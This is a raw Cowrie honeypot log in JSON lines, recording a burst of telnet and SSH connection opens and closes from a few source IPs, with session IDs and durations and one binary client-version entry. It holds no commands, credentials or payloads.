{"eventid":"cowrie.session.closed","duration":48.61417531967163,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:48.693748Z","src_ip":"188.208.141.113","session":"fc33c85c76b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":46018,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb060d61476b","protocol":"telnet","message":"New connection: 103.208.219.59:46018 (10.17.0.5:23) [session: eb060d61476b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:49.742743Z"}
{"eventid":"cowrie.session.closed","duration":50.41204810142517,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:50.195745Z","src_ip":"188.208.141.113","session":"598c65f491cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.08823919296265,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:50.820594Z","src_ip":"188.208.141.113","session":"96e5b4f4147d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.78179955482483,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:51.659646Z","src_ip":"188.208.141.113","session":"2bf0de1692a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":46020,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d90d52b28de","protocol":"telnet","message":"New connection: 103.208.219.59:46020 (10.17.0.5:23) [session: 7d90d52b28de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:53.637190Z"}
{"eventid":"cowrie.session.closed","duration":46.0552294254303,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:57.912719Z","src_ip":"188.208.141.113","session":"26ecb209a7d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.0143883228302,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:03:59.457442Z","src_ip":"188.208.141.113","session":"b8057d9fcf25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.685493230819702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:00.442566Z","src_ip":"103.208.219.59","session":"362ef04c5400","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51768,"dst_ip":"10.17.0.5","dst_port":23,"session":"886193c9af8e","protocol":"telnet","message":"New connection: 188.208.141.113:51768 (10.17.0.5:23) [session: 886193c9af8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:01.108101Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.130","src_port":51427,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c3cb8c6eda1","protocol":"ssh","message":"New connection: 91.231.89.130:51427 (10.17.0.5:22) [session: 3c3cb8c6eda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:02.747788Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u00038?\\xdc\\xdbN\\xe7+\\xdf\\xf3\\x9a\u001e~:3W\\xb1\\xa3i\\xe9\\xfbQ&\\xe25)\\xfc\\xe6\\xf2'\u0012\\xbd\u0004 \\xdb~\u0443\\xa6Zc,\u0012\\xbc\\x8dQ\u04b3\u0002\\xbe:\\xe08>\f\u0017\u000e\\x9c1\\xbb\f\\xa3\\xbd\\xcf#\\xb8\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","message":"Remote SSH version: \u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u00038?\\xdc\\xdbN\\xe7+\\xdf\\xf3\\x9a\u001e~:3W\\xb1\\xa3i\\xe9\\xfbQ&\\xe25)\\xfc\\xe6\\xf2'\u0012\\xbd\u0004 \\xdb~\u0443\\xa6Zc,\u0012\\xbc\\x8dQ\u04b3\u0002\\xbe:\\xe08>\f\u0017\u000e\\x9c1\\xbb\f\\xa3\\xbd\\xcf#\\xb8\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:02.754223Z","src_ip":"91.231.89.130","session":"3c3cb8c6eda1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:02.765166Z","src_ip":"91.231.89.130","session":"3c3cb8c6eda1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.128","src_port":56339,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5465c1e093e","protocol":"ssh","message":"New connection: 91.231.89.128:56339 (10.17.0.5:22) [session: f5465c1e093e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:02.921378Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51776,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d4b2fba5993","protocol":"telnet","message":"New connection: 188.208.141.113:51776 (10.17.0.5:23) [session: 7d4b2fba5993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:03.318532Z"}
{"eventid":"cowrie.session.closed","duration":39.832669258117676,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:04.515867Z","src_ip":"188.208.141.113","session":"d392c8b92914","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:05.925444Z","src_ip":"91.231.89.128","session":"f5465c1e093e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51790,"dst_ip":"10.17.0.5","dst_port":23,"session":"f085bdc6f846","protocol":"telnet","message":"New connection: 188.208.141.113:51790 (10.17.0.5:23) [session: f085bdc6f846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:05.936912Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51804,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d13f7a8ebed","protocol":"telnet","message":"New connection: 188.208.141.113:51804 (10.17.0.5:23) [session: 3d13f7a8ebed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:06.021118Z"}
{"eventid":"cowrie.session.closed","duration":44.84496450424194,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:07.787876Z","src_ip":"188.208.141.113","session":"9e7cd8844ac4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":44202,"dst_ip":"10.17.0.5","dst_port":23,"session":"52b275c38068","protocol":"telnet","message":"New connection: 103.208.219.59:44202 (10.17.0.5:23) [session: 52b275c38068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:08.277085Z"}
{"eventid":"cowrie.session.closed","duration":30.806655168533325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:10.354946Z","src_ip":"103.208.219.59","session":"9b30051ca54e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.269814014434814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:10.661825Z","src_ip":"103.208.219.59","session":"5cbcf41c8c33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33020,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b50d6a2dd28","protocol":"telnet","message":"New connection: 188.208.141.113:33020 (10.17.0.5:23) [session: 5b50d6a2dd28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:12.778510Z"}
{"eventid":"cowrie.session.closed","duration":48.505019426345825,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:13.204674Z","src_ip":"188.208.141.113","session":"368f93f65192","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.743022203445435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:14.286760Z","src_ip":"103.208.219.59","session":"5b5634563434","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33036,"dst_ip":"10.17.0.5","dst_port":23,"session":"de9ea9019b00","protocol":"telnet","message":"New connection: 188.208.141.113:33036 (10.17.0.5:23) [session: de9ea9019b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:14.527396Z"}
{"eventid":"cowrie.session.closed","duration":2.246501922607422,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:15.024879Z","src_ip":"188.208.141.113","session":"5b50d6a2dd28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.61232829093933,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:15.748116Z","src_ip":"188.208.141.113","session":"e5f8a1a73908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.739500761032104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:16.072975Z","src_ip":"103.208.219.59","session":"698aa32ff289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33044,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cedf0619aaa","protocol":"telnet","message":"New connection: 188.208.141.113:33044 (10.17.0.5:23) [session: 9cedf0619aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:17.152565Z"}
{"eventid":"cowrie.session.closed","duration":30.38312840461731,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:17.261919Z","src_ip":"103.208.219.59","session":"30abacb3bac1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.9360475540161133,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:17.463313Z","src_ip":"188.208.141.113","session":"de9ea9019b00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33052,"dst_ip":"10.17.0.5","dst_port":23,"session":"5109ba903b5b","protocol":"telnet","message":"New connection: 188.208.141.113:33052 (10.17.0.5:23) [session: 5109ba903b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:18.799031Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33060,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cd8a3d76532","protocol":"telnet","message":"New connection: 188.208.141.113:33060 (10.17.0.5:23) [session: 6cd8a3d76532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:20.000458Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33076,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4819fd9ec35","protocol":"telnet","message":"New connection: 188.208.141.113:33076 (10.17.0.5:23) [session: e4819fd9ec35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:20.191932Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33084,"dst_ip":"10.17.0.5","dst_port":23,"session":"c898886501de","protocol":"telnet","message":"New connection: 188.208.141.113:33084 (10.17.0.5:23) [session: c898886501de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:20.218357Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":34088,"dst_ip":"10.17.0.5","dst_port":23,"session":"29c4115bd920","protocol":"telnet","message":"New connection: 103.208.219.59:34088 (10.17.0.5:23) [session: 29c4115bd920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:20.523124Z"}
{"eventid":"cowrie.session.closed","duration":31.341400861740112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:21.084031Z","src_ip":"103.208.219.59","session":"eb060d61476b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48176,"dst_ip":"10.17.0.5","dst_port":23,"session":"4475e7143c11","protocol":"telnet","message":"New connection: 188.208.141.113:48176 (10.17.0.5:23) [session: 4475e7143c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:23.845861Z"}
{"eventid":"cowrie.session.closed","duration":30.827593088150024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:24.464663Z","src_ip":"103.208.219.59","session":"7d90d52b28de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.672089338302612,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:24.863910Z","src_ip":"188.208.141.113","session":"e4819fd9ec35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":55562,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee47a38eea86","protocol":"telnet","message":"New connection: 103.208.219.59:55562 (10.17.0.5:23) [session: ee47a38eea86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:27.778704Z"}
{"eventid":"cowrie.session.closed","duration":55.59999704360962,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:29.968742Z","src_ip":"188.208.141.113","session":"46a2a00ad404","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40326,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3e97adae79f","protocol":"telnet","message":"New connection: 188.208.141.113:40326 (10.17.0.5:23) [session: e3e97adae79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:31.198644Z"}
{"eventid":"cowrie.session.closed","duration":7.461025714874268,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:31.306774Z","src_ip":"188.208.141.113","session":"4475e7143c11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40334,"dst_ip":"10.17.0.5","dst_port":23,"session":"58e418df19c0","protocol":"telnet","message":"New connection: 188.208.141.113:40334 (10.17.0.5:23) [session: 58e418df19c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:33.746068Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":55564,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9cdf7b03c7a","protocol":"telnet","message":"New connection: 103.208.219.59:55564 (10.17.0.5:23) [session: d9cdf7b03c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:34.890001Z"}
{"eventid":"cowrie.session.closed","duration":5.898140907287598,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:37.096652Z","src_ip":"188.208.141.113","session":"e3e97adae79f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30580425262451,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:39.582770Z","src_ip":"103.208.219.59","session":"52b275c38068","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.406731605529785,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:40.152697Z","src_ip":"188.208.141.113","session":"58e418df19c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.78254151344299,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:40.890500Z","src_ip":"188.208.141.113","session":"886193c9af8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":54686,"dst_ip":"10.17.0.5","dst_port":23,"session":"d22146a82e3d","protocol":"telnet","message":"New connection: 103.208.219.59:54686 (10.17.0.5:23) [session: d22146a82e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:43.994699Z"}
{"eventid":"cowrie.session.closed","duration":39.415160179138184,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:45.436139Z","src_ip":"188.208.141.113","session":"3d13f7a8ebed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.52620482444763,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:48.844598Z","src_ip":"188.208.141.113","session":"7d4b2fba5993","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34456,"dst_ip":"10.17.0.5","dst_port":23,"session":"9df7967c2322","protocol":"telnet","message":"New connection: 188.208.141.113:34456 (10.17.0.5:23) [session: 9df7967c2322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:49.062562Z"}
{"eventid":"cowrie.session.closed","duration":30.958452224731445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:51.481469Z","src_ip":"103.208.219.59","session":"29c4115bd920","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.32393479347229,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:52.476408Z","src_ip":"188.208.141.113","session":"9cedf0619aaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.05824255943298,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:52.995019Z","src_ip":"188.208.141.113","session":"f085bdc6f846","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39796,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9f31dcf167e","protocol":"telnet","message":"New connection: 188.208.141.113:39796 (10.17.0.5:23) [session: c9f31dcf167e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:53.922610Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39798,"dst_ip":"10.17.0.5","dst_port":23,"session":"7178cf758d1b","protocol":"telnet","message":"New connection: 188.208.141.113:39798 (10.17.0.5:23) [session: 7178cf758d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:54.612789Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39802,"dst_ip":"10.17.0.5","dst_port":23,"session":"2df2e4a9d46b","protocol":"telnet","message":"New connection: 188.208.141.113:39802 (10.17.0.5:23) [session: 2df2e4a9d46b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:55.972417Z"}
{"eventid":"cowrie.session.closed","duration":31.218987464904785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:58.997591Z","src_ip":"103.208.219.59","session":"ee47a38eea86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.688784599304199,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:04:59.301457Z","src_ip":"188.208.141.113","session":"7178cf758d1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.08686280250549,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:02.087209Z","src_ip":"188.208.141.113","session":"6cd8a3d76532","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.769224882125854,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:02.568229Z","src_ip":"188.208.141.113","session":"5109ba903b5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.9776291847229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:06.867516Z","src_ip":"103.208.219.59","session":"d9cdf7b03c7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":46488,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0020c5d69f2","protocol":"telnet","message":"New connection: 103.208.219.59:46488 (10.17.0.5:23) [session: f0020c5d69f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:08.917251Z"}
{"eventid":"cowrie.session.closed","duration":49.39212465286255,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:09.610352Z","src_ip":"188.208.141.113","session":"c898886501de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56985902786255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:15.564485Z","src_ip":"103.208.219.59","session":"d22146a82e3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49996018409729,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:20.562397Z","src_ip":"188.208.141.113","session":"9df7967c2322","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53318,"dst_ip":"10.17.0.5","dst_port":23,"session":"175aa9500620","protocol":"telnet","message":"New connection: 188.208.141.113:53318 (10.17.0.5:23) [session: 175aa9500620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:25.643418Z"}
{"eventid":"cowrie.session.closed","duration":2.849440097808838,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:28.492725Z","src_ip":"188.208.141.113","session":"175aa9500620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":58824,"dst_ip":"10.17.0.5","dst_port":23,"session":"0539aa97f3d7","protocol":"telnet","message":"New connection: 103.208.219.59:58824 (10.17.0.5:23) [session: 0539aa97f3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:28.997586Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44610,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbf0cc7dfd1b","protocol":"telnet","message":"New connection: 188.208.141.113:44610 (10.17.0.5:23) [session: cbf0cc7dfd1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:31.291300Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44622,"dst_ip":"10.17.0.5","dst_port":23,"session":"1581748c1408","protocol":"telnet","message":"New connection: 188.208.141.113:44622 (10.17.0.5:23) [session: 1581748c1408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:38.230573Z"}
{"eventid":"cowrie.session.closed","duration":32.529741048812866,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:41.446850Z","src_ip":"103.208.219.59","session":"f0020c5d69f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.68313431739807,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:43.605624Z","src_ip":"188.208.141.113","session":"c9f31dcf167e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.374778032302856,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:05:44.346935Z","src_ip":"188.208.141.113","session":"2df2e4a9d46b","protocol":"telnet"}
